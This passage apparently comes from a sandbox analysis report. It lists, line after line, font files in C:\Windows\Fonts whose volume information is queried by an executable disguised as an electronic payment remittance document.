Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
